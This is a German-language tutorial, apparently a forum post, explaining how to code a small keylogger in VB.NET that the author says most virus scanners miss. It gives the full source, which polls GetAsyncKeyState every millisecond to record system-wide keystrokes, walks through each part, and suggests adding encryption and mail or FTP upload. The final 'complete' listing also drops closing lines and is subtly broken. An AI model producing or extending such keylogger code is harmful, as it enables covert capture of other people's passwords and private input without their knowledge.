Dieses Tutorial zeigt, wie man in vb.net einen einfachen, kleinen Keylogger coden kann, der von den wenigstens Virenscanner erkannt wird.
Das Tutorial richtet sich an Leute, die schon ein wenig Erfahrung mit vb.net haben. Ich werde daher nicht auf Einzelheiten, sondern nur die reine Funktionsweise eingehen.
Code:
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Integer) As Short
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Enabled = True
End Sub
...
In dem oberen Codeabschnnit wird als erstes die Variable result als Integer deklariert, die später für den Schleifendurchlauf der Tastabfrage benötigt wird.
Die Funktion "GetAsyncKeyState()" stellt die Systemweite Tastenabfrage zur Verfügung. Wichtig hierbei ist der Übergabewert "vkey as Integer" und das ganze als "Short". Nur so funktioniert das ganze auch unter Vista und Windows 7!
Im Form1_Load Ereignis wird der Timer gestartet. Nach Ablauf der Intervalzeit, wird der Code in dem Timer_Tick Eriegnis ausgeführt.
Code:
...
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 6 To 255
result = 0
result = GetAsyncKeyState(i)
If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
If result = -32767 Then
TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
End If
Else
If result = -32767 Then
TextBox1.Text = TextBox1.Text + LCase((Chr(i)))
End If
End If
Next i
End Sub
Das Timer_Tick Ereignis löst also den jeweiligen Code nach dem angegeben Interval aus, sprich nach 1ms. Somit wird also durchgehend auf eine Tasteneingabe geprüft.
Die Schleife durchläuft nun alle dem System bekannten Standardtasten. Es wird von 6 bis 255 gezählt und nicht von 1 bis 255, um die Maustasten nicht in die Abfrage mit einzubeziehen.
Result wird nun auf "0" gesetzt und anschließend auf GetAsyncKeyState(i).
Nun wird mit Hilfe von If-Abfragen geprüft, ob es sich bei der Eingabe um einen dem System bekannten Key handelt. Dies erfolgt mit der Zuweisung
Code:
If result = -32767 then...
Ist das der Fall wird der Key der Textbox1 angefügt.
Code:
TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
"Chr()" ist hierbei eine Funktion, an die sich ein CharCode als Integer übergeben lässt. In diesem Falle natürlich "i".
Mit
Code:
If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
If result = -32767 Then
TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
End If
Else
If result = -32767 Then
TextBox1.Text = TextBox1.Text + LCase((Chr(i)))
End If
End If
wird geprüft ob zum Zeitpunkt der Eingabe Capslock oder Shift aktiviert ist um so zwischen Groß- und Kleinschreibung zu differenzieren.
HIER NOCHMAL DER CODE ALS GANZES:
Code:
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Integer) As Short
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Enabled = True
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 6 To 255
result = 0
result = GetAsyncKeyState(i)
If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
If result = -32767 Then
TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
End If
Else
If result = -32767 Then
TextBox1.Text = TextBox1.Text + LCase((Chr(i)))
End If
End If
End Class
So, ich hoffe das konnte dem ein oder anderem weiter helfen. Der Keylogger ist so wie er ist simpel gehalten, ohne jegliche Verschlüsselung, Mail oder FTP Support, weitere Abfragen von Sonderzeichen etc... Allerdings lässt sich darauf aufbauen, wenn man ein wenig Spaß an der Sache hat...
Würde mich über Feedback freuen!